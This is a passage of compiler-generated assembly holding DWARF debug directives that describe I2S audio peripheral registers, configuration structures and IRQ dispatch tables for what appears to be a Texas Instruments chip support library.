.dwattr $C$DW$174, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$174, DW_AT_name("I2SSRATE")
.dwattr $C$DW$174, DW_AT_TI_symbol_name("_I2SSRATE")
.dwattr $C$DW$174, DW_AT_data_member_location[DW_OP_plus_uconst 0x4]
.dwattr $C$DW$174, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$175 .dwtag DW_TAG_member
.dwattr $C$DW$175, DW_AT_type(*$C$DW$T$21)
.dwattr $C$DW$175, DW_AT_name("RSVD1")
.dwattr $C$DW$175, DW_AT_TI_symbol_name("_RSVD1")
.dwattr $C$DW$175, DW_AT_data_member_location[DW_OP_plus_uconst 0x5]
.dwattr $C$DW$175, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$176 .dwtag DW_TAG_member
.dwattr $C$DW$176, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$176, DW_AT_name("I2STXLT0")
.dwattr $C$DW$176, DW_AT_TI_symbol_name("_I2STXLT0")
.dwattr $C$DW$176, DW_AT_data_member_location[DW_OP_plus_uconst 0x8]
.dwattr $C$DW$176, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$177 .dwtag DW_TAG_member
.dwattr $C$DW$177, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$177, DW_AT_name("I2STXLT1")
.dwattr $C$DW$177, DW_AT_TI_symbol_name("_I2STXLT1")
.dwattr $C$DW$177, DW_AT_data_member_location[DW_OP_plus_uconst 0x9]
.dwattr $C$DW$177, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$178 .dwtag DW_TAG_member
.dwattr $C$DW$178, DW_AT_type(*$C$DW$T$22)
.dwattr $C$DW$178, DW_AT_name("RSVD2")
.dwattr $C$DW$178, DW_AT_TI_symbol_name("_RSVD2")
.dwattr $C$DW$178, DW_AT_data_member_location[DW_OP_plus_uconst 0xa]
.dwattr $C$DW$178, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$179 .dwtag DW_TAG_member
.dwattr $C$DW$179, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$179, DW_AT_name("I2STXRT0")
.dwattr $C$DW$179, DW_AT_TI_symbol_name("_I2STXRT0")
.dwattr $C$DW$179, DW_AT_data_member_location[DW_OP_plus_uconst 0xc]
.dwattr $C$DW$179, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$180 .dwtag DW_TAG_member
.dwattr $C$DW$180, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$180, DW_AT_name("I2STXRT1")
.dwattr $C$DW$180, DW_AT_TI_symbol_name("_I2STXRT1")
.dwattr $C$DW$180, DW_AT_data_member_location[DW_OP_plus_uconst 0xd]
.dwattr $C$DW$180, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$181 .dwtag DW_TAG_member
.dwattr $C$DW$181, DW_AT_type(*$C$DW$T$22)
.dwattr $C$DW$181, DW_AT_name("RSVD3")
.dwattr $C$DW$181, DW_AT_TI_symbol_name("_RSVD3")
.dwattr $C$DW$181, DW_AT_data_member_location[DW_OP_plus_uconst 0xe]
.dwattr $C$DW$181, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$182 .dwtag DW_TAG_member
.dwattr $C$DW$182, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$182, DW_AT_name("I2SINTFL")
.dwattr $C$DW$182, DW_AT_TI_symbol_name("_I2SINTFL")
.dwattr $C$DW$182, DW_AT_data_member_location[DW_OP_plus_uconst 0x10]
.dwattr $C$DW$182, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$183 .dwtag DW_TAG_member
.dwattr $C$DW$183, DW_AT_type(*$C$DW$T$21)
.dwattr $C$DW$183, DW_AT_name("RSVD4")
.dwattr $C$DW$183, DW_AT_TI_symbol_name("_RSVD4")
.dwattr $C$DW$183, DW_AT_data_member_location[DW_OP_plus_uconst 0x11]
.dwattr $C$DW$183, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$184 .dwtag DW_TAG_member
.dwattr $C$DW$184, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$184, DW_AT_name("I2SINTMASK")
.dwattr $C$DW$184, DW_AT_TI_symbol_name("_I2SINTMASK")
.dwattr $C$DW$184, DW_AT_data_member_location[DW_OP_plus_uconst 0x14]
.dwattr $C$DW$184, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$185 .dwtag DW_TAG_member
.dwattr $C$DW$185, DW_AT_type(*$C$DW$T$23)
.dwattr $C$DW$185, DW_AT_name("RSVD5")
.dwattr $C$DW$185, DW_AT_TI_symbol_name("_RSVD5")
.dwattr $C$DW$185, DW_AT_data_member_location[DW_OP_plus_uconst 0x15]
.dwattr $C$DW$185, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$186 .dwtag DW_TAG_member
.dwattr $C$DW$186, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$186, DW_AT_name("I2SRXLT0")
.dwattr $C$DW$186, DW_AT_TI_symbol_name("_I2SRXLT0")
.dwattr $C$DW$186, DW_AT_data_member_location[DW_OP_plus_uconst 0x28]
.dwattr $C$DW$186, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$187 .dwtag DW_TAG_member
.dwattr $C$DW$187, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$187, DW_AT_name("I2SRXLT1")
.dwattr $C$DW$187, DW_AT_TI_symbol_name("_I2SRXLT1")
.dwattr $C$DW$187, DW_AT_data_member_location[DW_OP_plus_uconst 0x29]
.dwattr $C$DW$187, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$188 .dwtag DW_TAG_member
.dwattr $C$DW$188, DW_AT_type(*$C$DW$T$22)
.dwattr $C$DW$188, DW_AT_name("RSVD6")
.dwattr $C$DW$188, DW_AT_TI_symbol_name("_RSVD6")
.dwattr $C$DW$188, DW_AT_data_member_location[DW_OP_plus_uconst 0x2a]
.dwattr $C$DW$188, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$189 .dwtag DW_TAG_member
.dwattr $C$DW$189, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$189, DW_AT_name("I2SRXRT0")
.dwattr $C$DW$189, DW_AT_TI_symbol_name("_I2SRXRT0")
.dwattr $C$DW$189, DW_AT_data_member_location[DW_OP_plus_uconst 0x2c]
.dwattr $C$DW$189, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$190 .dwtag DW_TAG_member
.dwattr $C$DW$190, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$190, DW_AT_name("I2SRXRT1")
.dwattr $C$DW$190, DW_AT_TI_symbol_name("_I2SRXRT1")
.dwattr $C$DW$190, DW_AT_data_member_location[DW_OP_plus_uconst 0x2d]
.dwattr $C$DW$190, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$24
$C$DW$T$31 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2sRegs")
.dwattr $C$DW$T$31, DW_AT_type(*$C$DW$T$24)
.dwattr $C$DW$T$31, DW_AT_language(DW_LANG_C)
$C$DW$191 .dwtag DW_TAG_TI_far_type
.dwattr $C$DW$191, DW_AT_type(*$C$DW$T$31)
$C$DW$192 .dwtag DW_TAG_TI_ioport_type
.dwattr $C$DW$192, DW_AT_type(*$C$DW$191)
$C$DW$T$32 .dwtag DW_TAG_volatile_type
.dwattr $C$DW$T$32, DW_AT_type(*$C$DW$192)
$C$DW$T$33 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$33, DW_AT_type(*$C$DW$T$32)
.dwattr $C$DW$T$33, DW_AT_address_class(0x10)
$C$DW$T$43 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$43, DW_AT_byte_size(0x0a)
$C$DW$193 .dwtag DW_TAG_member
.dwattr $C$DW$193, DW_AT_type(*$C$DW$T$26)
.dwattr $C$DW$193, DW_AT_name("i2sNum")
.dwattr $C$DW$193, DW_AT_TI_symbol_name("_i2sNum")
.dwattr $C$DW$193, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$193, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$194 .dwtag DW_TAG_member
.dwattr $C$DW$194, DW_AT_type(*$C$DW$T$28)
.dwattr $C$DW$194, DW_AT_name("opMode")
.dwattr $C$DW$194, DW_AT_TI_symbol_name("_opMode")
.dwattr $C$DW$194, DW_AT_data_member_location[DW_OP_plus_uconst 0x1]
.dwattr $C$DW$194, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$195 .dwtag DW_TAG_member
.dwattr $C$DW$195, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$195, DW_AT_name("chType")
.dwattr $C$DW$195, DW_AT_TI_symbol_name("_chType")
.dwattr $C$DW$195, DW_AT_data_member_location[DW_OP_plus_uconst 0x2]
.dwattr $C$DW$195, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$196 .dwtag DW_TAG_member
.dwattr $C$DW$196, DW_AT_type(*$C$DW$T$33)
.dwattr $C$DW$196, DW_AT_name("hwRegs")
.dwattr $C$DW$196, DW_AT_TI_symbol_name("_hwRegs")
.dwattr $C$DW$196, DW_AT_data_member_location[DW_OP_plus_uconst 0x3]
.dwattr $C$DW$196, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$197 .dwtag DW_TAG_member
.dwattr $C$DW$197, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$197, DW_AT_name("configured")
.dwattr $C$DW$197, DW_AT_TI_symbol_name("_configured")
.dwattr $C$DW$197, DW_AT_data_member_location[DW_OP_plus_uconst 0x4]
.dwattr $C$DW$197, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$198 .dwtag DW_TAG_member
.dwattr $C$DW$198, DW_AT_type(*$C$DW$T$35)
.dwattr $C$DW$198, DW_AT_name("datapack")
.dwattr $C$DW$198, DW_AT_TI_symbol_name("_datapack")
.dwattr $C$DW$198, DW_AT_data_member_location[DW_OP_plus_uconst 0x5]
.dwattr $C$DW$198, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$199 .dwtag DW_TAG_member
.dwattr $C$DW$199, DW_AT_type(*$C$DW$T$37)
.dwattr $C$DW$199, DW_AT_name("fsDiv")
.dwattr $C$DW$199, DW_AT_TI_symbol_name("_fsDiv")
.dwattr $C$DW$199, DW_AT_data_member_location[DW_OP_plus_uconst 0x6]
.dwattr $C$DW$199, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$200 .dwtag DW_TAG_member
.dwattr $C$DW$200, DW_AT_type(*$C$DW$T$39)
.dwattr $C$DW$200, DW_AT_name("wordLen")
.dwattr $C$DW$200, DW_AT_TI_symbol_name("_wordLen")
.dwattr $C$DW$200, DW_AT_data_member_location[DW_OP_plus_uconst 0x7]
.dwattr $C$DW$200, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$201 .dwtag DW_TAG_member
.dwattr $C$DW$201, DW_AT_type(*$C$DW$T$41)
.dwattr $C$DW$201, DW_AT_name("loopBackMode")
.dwattr $C$DW$201, DW_AT_TI_symbol_name("_loopBackMode")
.dwattr $C$DW$201, DW_AT_data_member_location[DW_OP_plus_uconst 0x8]
.dwattr $C$DW$201, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$202 .dwtag DW_TAG_member
.dwattr $C$DW$202, DW_AT_type(*$C$DW$T$42)
.dwattr $C$DW$202, DW_AT_name("firstRead")
.dwattr $C$DW$202, DW_AT_TI_symbol_name("_firstRead")
.dwattr $C$DW$202, DW_AT_data_member_location[DW_OP_plus_uconst 0x9]
.dwattr $C$DW$202, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$43
$C$DW$T$75 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2sObj")
.dwattr $C$DW$T$75, DW_AT_type(*$C$DW$T$43)
.dwattr $C$DW$T$75, DW_AT_language(DW_LANG_C)
$C$DW$T$76 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$76, DW_AT_type(*$C$DW$T$75)
.dwattr $C$DW$T$76, DW_AT_address_class(0x17)
$C$DW$T$77 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2sHandle")
.dwattr $C$DW$T$77, DW_AT_type(*$C$DW$T$76)
.dwattr $C$DW$T$77, DW_AT_language(DW_LANG_C)
$C$DW$T$64 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$64, DW_AT_byte_size(0x0e)
$C$DW$203 .dwtag DW_TAG_member
.dwattr $C$DW$203, DW_AT_type(*$C$DW$T$45)
.dwattr $C$DW$203, DW_AT_name("dataType")
.dwattr $C$DW$203, DW_AT_TI_symbol_name("_dataType")
.dwattr $C$DW$203, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$203, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$204 .dwtag DW_TAG_member
.dwattr $C$DW$204, DW_AT_type(*$C$DW$T$41)
.dwattr $C$DW$204, DW_AT_name("loopBackMode")
.dwattr $C$DW$204, DW_AT_TI_symbol_name("_loopBackMode")
.dwattr $C$DW$204, DW_AT_data_member_location[DW_OP_plus_uconst 0x1]
.dwattr $C$DW$204, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$205 .dwtag DW_TAG_member
.dwattr $C$DW$205, DW_AT_type(*$C$DW$T$47)
.dwattr $C$DW$205, DW_AT_name("fsPol")
.dwattr $C$DW$205, DW_AT_TI_symbol_name("_fsPol")
.dwattr $C$DW$205, DW_AT_data_member_location[DW_OP_plus_uconst 0x2]
.dwattr $C$DW$205, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$206 .dwtag DW_TAG_member
.dwattr $C$DW$206, DW_AT_type(*$C$DW$T$49)
.dwattr $C$DW$206, DW_AT_name("clkPol")
.dwattr $C$DW$206, DW_AT_TI_symbol_name("_clkPol")
.dwattr $C$DW$206, DW_AT_data_member_location[DW_OP_plus_uconst 0x3]
.dwattr $C$DW$206, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$207 .dwtag DW_TAG_member
.dwattr $C$DW$207, DW_AT_type(*$C$DW$T$51)
.dwattr $C$DW$207, DW_AT_name("datadelay")
.dwattr $C$DW$207, DW_AT_TI_symbol_name("_datadelay")
.dwattr $C$DW$207, DW_AT_data_member_location[DW_OP_plus_uconst 0x4]
.dwattr $C$DW$207, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$208 .dwtag DW_TAG_member
.dwattr $C$DW$208, DW_AT_type(*$C$DW$T$35)
.dwattr $C$DW$208, DW_AT_name("datapack")
.dwattr $C$DW$208, DW_AT_TI_symbol_name("_datapack")
.dwattr $C$DW$208, DW_AT_data_member_location[DW_OP_plus_uconst 0x5]
.dwattr $C$DW$208, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$209 .dwtag DW_TAG_member
.dwattr $C$DW$209, DW_AT_type(*$C$DW$T$53)
.dwattr $C$DW$209, DW_AT_name("signext")
.dwattr $C$DW$209, DW_AT_TI_symbol_name("_signext")
.dwattr $C$DW$209, DW_AT_data_member_location[DW_OP_plus_uconst 0x6]
.dwattr $C$DW$209, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$210 .dwtag DW_TAG_member
.dwattr $C$DW$210, DW_AT_type(*$C$DW$T$39)
.dwattr $C$DW$210, DW_AT_name("wordLen")
.dwattr $C$DW$210, DW_AT_TI_symbol_name("_wordLen")
.dwattr $C$DW$210, DW_AT_data_member_location[DW_OP_plus_uconst 0x7]
.dwattr $C$DW$210, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$211 .dwtag DW_TAG_member
.dwattr $C$DW$211, DW_AT_type(*$C$DW$T$55)
.dwattr $C$DW$211, DW_AT_name("i2sMode")
.dwattr $C$DW$211, DW_AT_TI_symbol_name("_i2sMode")
.dwattr $C$DW$211, DW_AT_data_member_location[DW_OP_plus_uconst 0x8]
.dwattr $C$DW$211, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$212 .dwtag DW_TAG_member
.dwattr $C$DW$212, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$212, DW_AT_name("dataFormat")
.dwattr $C$DW$212, DW_AT_TI_symbol_name("_dataFormat")
.dwattr $C$DW$212, DW_AT_data_member_location[DW_OP_plus_uconst 0x9]
.dwattr $C$DW$212, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$213 .dwtag DW_TAG_member
.dwattr $C$DW$213, DW_AT_type(*$C$DW$T$37)
.dwattr $C$DW$213, DW_AT_name("fsDiv")
.dwattr $C$DW$213, DW_AT_TI_symbol_name("_fsDiv")
.dwattr $C$DW$213, DW_AT_data_member_location[DW_OP_plus_uconst 0xa]
.dwattr $C$DW$213, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$214 .dwtag DW_TAG_member
.dwattr $C$DW$214, DW_AT_type(*$C$DW$T$59)
.dwattr $C$DW$214, DW_AT_name("clkDiv")
.dwattr $C$DW$214, DW_AT_TI_symbol_name("_clkDiv")
.dwattr $C$DW$214, DW_AT_data_member_location[DW_OP_plus_uconst 0xb]
.dwattr $C$DW$214, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$215 .dwtag DW_TAG_member
.dwattr $C$DW$215, DW_AT_type(*$C$DW$T$61)
.dwattr $C$DW$215, DW_AT_name("FError")
.dwattr $C$DW$215, DW_AT_TI_symbol_name("_FError")
.dwattr $C$DW$215, DW_AT_data_member_location[DW_OP_plus_uconst 0xc]
.dwattr $C$DW$215, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$216 .dwtag DW_TAG_member
.dwattr $C$DW$216, DW_AT_type(*$C$DW$T$63)
.dwattr $C$DW$216, DW_AT_name("OuError")
.dwattr $C$DW$216, DW_AT_TI_symbol_name("_OuError")
.dwattr $C$DW$216, DW_AT_data_member_location[DW_OP_plus_uconst 0xd]
.dwattr $C$DW$216, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$64
$C$DW$T$80 .dwtag DW_TAG_typedef, DW_AT_name("I2S_Config")
.dwattr $C$DW$T$80, DW_AT_type(*$C$DW$T$64)
.dwattr $C$DW$T$80, DW_AT_language(DW_LANG_C)
$C$DW$T$81 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$81, DW_AT_type(*$C$DW$T$80)
.dwattr $C$DW$T$81, DW_AT_address_class(0x17)
$C$DW$T$69 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$69, DW_AT_byte_size(0x08)
$C$DW$217 .dwtag DW_TAG_member
.dwattr $C$DW$217, DW_AT_type(*$C$DW$T$67)
.dwattr $C$DW$217, DW_AT_name("funcAddr")
.dwattr $C$DW$217, DW_AT_TI_symbol_name("_funcAddr")
.dwattr $C$DW$217, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$217, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$218 .dwtag DW_TAG_member
.dwattr $C$DW$218, DW_AT_type(*$C$DW$T$68)
.dwattr $C$DW$218, DW_AT_name("funcArg")
.dwattr $C$DW$218, DW_AT_TI_symbol_name("_funcArg")
.dwattr $C$DW$218, DW_AT_data_member_location[DW_OP_plus_uconst 0x2]
.dwattr $C$DW$218, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$219 .dwtag DW_TAG_member
.dwattr $C$DW$219, DW_AT_type(*$C$DW$T$68)
.dwattr $C$DW$219, DW_AT_name("ierMask")
.dwattr $C$DW$219, DW_AT_TI_symbol_name("_ierMask")
.dwattr $C$DW$219, DW_AT_data_member_location[DW_OP_plus_uconst 0x4]
.dwattr $C$DW$219, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$220 .dwtag DW_TAG_member
.dwattr $C$DW$220, DW_AT_type(*$C$DW$T$68)
.dwattr $C$DW$220, DW_AT_name("cacheCtrl")
.dwattr $C$DW$220, DW_AT_TI_symbol_name("_cacheCtrl")
.dwattr $C$DW$220, DW_AT_data_member_location[DW_OP_plus_uconst 0x6]
.dwattr $C$DW$220, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$69
$C$DW$T$70 .dwtag DW_TAG_typedef, DW_AT_name("CSL_IRQ_Dispatch")
.dwattr $C$DW$T$70, DW_AT_type(*$C$DW$T$69)
.dwattr $C$DW$T$70, DW_AT_language(DW_LANG_C)
$C$DW$T$71 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$71, DW_AT_type(*$C$DW$T$70)
.dwattr $C$DW$T$71, DW_AT_address_class(0x17)
$C$DW$T$73 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$73, DW_AT_byte_size(0x84)
$C$DW$221 .dwtag DW_TAG_member
.dwattr $C$DW$221, DW_AT_type(*$C$DW$T$71)
.dwattr $C$DW$221, DW_AT_name("IrqDispatchTable")
.dwattr $C$DW$221, DW_AT_TI_symbol_name("_IrqDispatchTable")
.dwattr $C$DW$221, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$221, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$222 .dwtag DW_TAG_member
.dwattr $C$DW$222, DW_AT_type(*$C$DW$T$72)
.dwattr $C$DW$222, DW_AT_name("IrqIntTable")
.dwattr $C$DW$222, DW_AT_TI_symbol_name("_IrqIntTable")
.dwattr $C$DW$222, DW_AT_data_member_location[DW_OP_plus_uconst 0x2]
.dwattr $C$DW$222, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$223 .dwtag DW_TAG_member
.dwattr $C$DW$223, DW_AT_type(*$C$DW$T$72)
.dwattr $C$DW$223, DW_AT_name("IrqEventTable")
.dwattr $C$DW$223, DW_AT_TI_symbol_name("_IrqEventTable")
.dwattr $C$DW$223, DW_AT_data_member_location[DW_OP_plus_uconst 0x42]
.dwattr $C$DW$223, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$224 .dwtag DW_TAG_member
.dwattr $C$DW$224, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$224, DW_AT_name("biosPresent")
.dwattr $C$DW$224, DW_AT_TI_symbol_name("_biosPresent")
.dwattr $C$DW$224, DW_AT_data_member_location[DW_OP_plus_uconst 0x82]
.dwattr $C$DW$224, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$73
$C$DW$T$82 .dwtag DW_TAG_typedef, DW_AT_name("CSL_IrqDataObj")
.dwattr $C$DW$T$82, DW_AT_type(*$C$DW$T$73)
.dwattr $C$DW$T$82, DW_AT_language(DW_LANG_C)
$C$DW$T$74 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$74, DW_AT_byte_size(0x08)
$C$DW$225 .dwtag DW_TAG_member
.dwattr $C$DW$225, DW_AT_type(*$C$DW$T$67)
.dwattr $C$DW$225, DW_AT_name("funcAddr")
.dwattr $C$DW$225, DW_AT_TI_symbol_name("_funcAddr")
.dwattr $C$DW$225, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$225, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$226 .dwtag DW_TAG_member
.dwattr $C$DW$226, DW_AT_type(*$C$DW$T$68)
.dwattr $C$DW$226, DW_AT_name("funcArg")
.dwattr $C$DW$226, DW_AT_TI_symbol_name("_funcArg")
.dwattr $C$DW$226, DW_AT_data_member_location[DW_OP_plus_uconst 0x2]
.dwattr $C$DW$226, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$227 .dwtag DW_TAG_member
.dwattr $C$DW$227, DW_AT_type(*$C$DW$T$68)
.dwattr $C$DW$227, DW_AT_name("ierMask")
.dwattr $C$DW$227, DW_AT_TI_symbol_name("_ierMask")
.dwattr $C$DW$227, DW_AT_data_member_location[DW_OP_plus_uconst 0x4]
.dwattr $C$DW$227, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$228 .dwtag DW_TAG_member
.dwattr $C$DW$228, DW_AT_type(*$C$DW$T$68)
.dwattr $C$DW$228, DW_AT_name("cacheCtrl")
.dwattr $C$DW$228, DW_AT_TI_symbol_name("_cacheCtrl")
.dwattr $C$DW$228, DW_AT_data_member_location[DW_OP_plus_uconst 0x6]
.dwattr $C$DW$228, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$74
$C$DW$T$83 .dwtag DW_TAG_typedef, DW_AT_name("CSL_IRQ_Config")
.dwattr $C$DW$T$83, DW_AT_type(*$C$DW$T$74)
.dwattr $C$DW$T$83, DW_AT_language(DW_LANG_C)
$C$DW$T$65 .dwtag DW_TAG_subroutine_type
.dwattr $C$DW$T$65, DW_AT_language(DW_LANG_C)
$C$DW$T$66 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$66, DW_AT_type(*$C$DW$T$65)
.dwattr $C$DW$T$66, DW_AT_address_class(0x20)
$C$DW$T$67 .dwtag DW_TAG_typedef, DW_AT_name("IRQ_IsrPtr")
.dwattr $C$DW$T$67, DW_AT_type(*$C$DW$T$66)
.dwattr $C$DW$T$67, DW_AT_language(DW_LANG_C)
$C$DW$T$4 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$4, DW_AT_encoding(DW_ATE_boolean)
.dwattr $C$DW$T$4, DW_AT_name("bool")
.dwattr $C$DW$T$4, DW_AT_byte_size(0x01)
$C$DW$T$5 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$5, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$5, DW_AT_name("signed char")
.dwattr $C$DW$T$5, DW_AT_byte_size(0x01)
$C$DW$T$6 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$6, DW_AT_encoding(DW_ATE_unsigned_char)
.dwattr $C$DW$T$6, DW_AT_name("unsigned char")
.dwattr $C$DW$T$6, DW_AT_byte_size(0x01)
$C$DW$T$7 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$7, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$7, DW_AT_name("wchar_t")
.dwattr $C$DW$T$7, DW_AT_byte_size(0x01)
$C$DW$T$8 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$8, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$8, DW_AT_name("short")
.dwattr $C$DW$T$8, DW_AT_byte_size(0x01)
$C$DW$T$86 .dwtag DW_TAG_typedef, DW_AT_name("Int16")
.dwattr $C$DW$T$86, DW_AT_type(*$C$DW$T$8)
.dwattr $C$DW$T$86, DW_AT_language(DW_LANG_C)
$C$DW$T$87 .dwtag DW_TAG_typedef, DW_AT_name("CSL_Status")
.dwattr $C$DW$T$87, DW_AT_type(*$C$DW$T$86)
.dwattr $C$DW$T$87, DW_AT_language(DW_LANG_C)
$C$DW$229 .dwtag DW_TAG_TI_far_type
.dwattr $C$DW$229, DW_AT_type(*$C$DW$T$86)
$C$DW$T$99 .dwtag DW_TAG_volatile_type
.dwattr $C$DW$T$99, DW_AT_type(*$C$DW$229)
$C$DW$T$9 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$9, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$9, DW_AT_name("unsigned short")
.dwattr $C$DW$T$9, DW_AT_byte_size(0x01)
$C$DW$T$19 .dwtag DW_TAG_typedef, DW_AT_name("Uint16")
.dwattr $C$DW$T$19, DW_AT_type(*$C$DW$T$9)
.dwattr $C$DW$T$19, DW_AT_language(DW_LANG_C)
$C$DW$230 .dwtag DW_TAG_TI_far_type
.dwattr $C$DW$230, DW_AT_type(*$C$DW$T$19)
$C$DW$T$20 .dwtag DW_TAG_volatile_type
.dwattr $C$DW$T$20, DW_AT_type(*$C$DW$230)
$C$DW$T$21 .dwtag DW_TAG_array_type
.dwattr $C$DW$T$21, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$T$21, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$21, DW_AT_byte_size(0x03)
$C$DW$231 .dwtag DW_TAG_subrange_type
.dwattr $C$DW$231, DW_AT_upper_bound(0x02)
.dwendtag $C$DW$T$21
$C$DW$T$22 .dwtag DW_TAG_array_type
.dwattr $C$DW$T$22, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$T$22, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$22, DW_AT_byte_size(0x02)
$C$DW$232 .dwtag DW_TAG_subrange_type
.dwattr $C$DW$232, DW_AT_upper_bound(0x01)
.dwendtag $C$DW$T$22
$C$DW$T$23 .dwtag DW_TAG_array_type
.dwattr $C$DW$T$23, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$T$23, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$23, DW_AT_byte_size(0x13)
$C$DW$233 .dwtag DW_TAG_subrange_type
.dwattr $C$DW$233, DW_AT_upper_bound(0x12)
.dwendtag $C$DW$T$23
$C$DW$T$92 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$92, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$T$92, DW_AT_address_class(0x17)
$C$DW$T$102 .dwtag DW_TAG_array_type
.dwattr $C$DW$T$102, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$T$102, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$102, DW_AT_byte_size(0x04)
$C$DW$234 .dwtag DW_TAG_subrange_type
.dwattr $C$DW$234, DW_AT_upper_bound(0x03)
.dwendtag $C$DW$T$102
$C$DW$T$10 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$10, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$10, DW_AT_name("int")
.dwattr $C$DW$T$10, DW_AT_byte_size(0x01)
$C$DW$T$42 .dwtag DW_TAG_typedef, DW_AT_name("Bool")
.dwattr $C$DW$T$42, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$T$42, DW_AT_language(DW_LANG_C)
$C$DW$T$11 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$11, DW_AT_encoding(DW_ATE_unsigned)
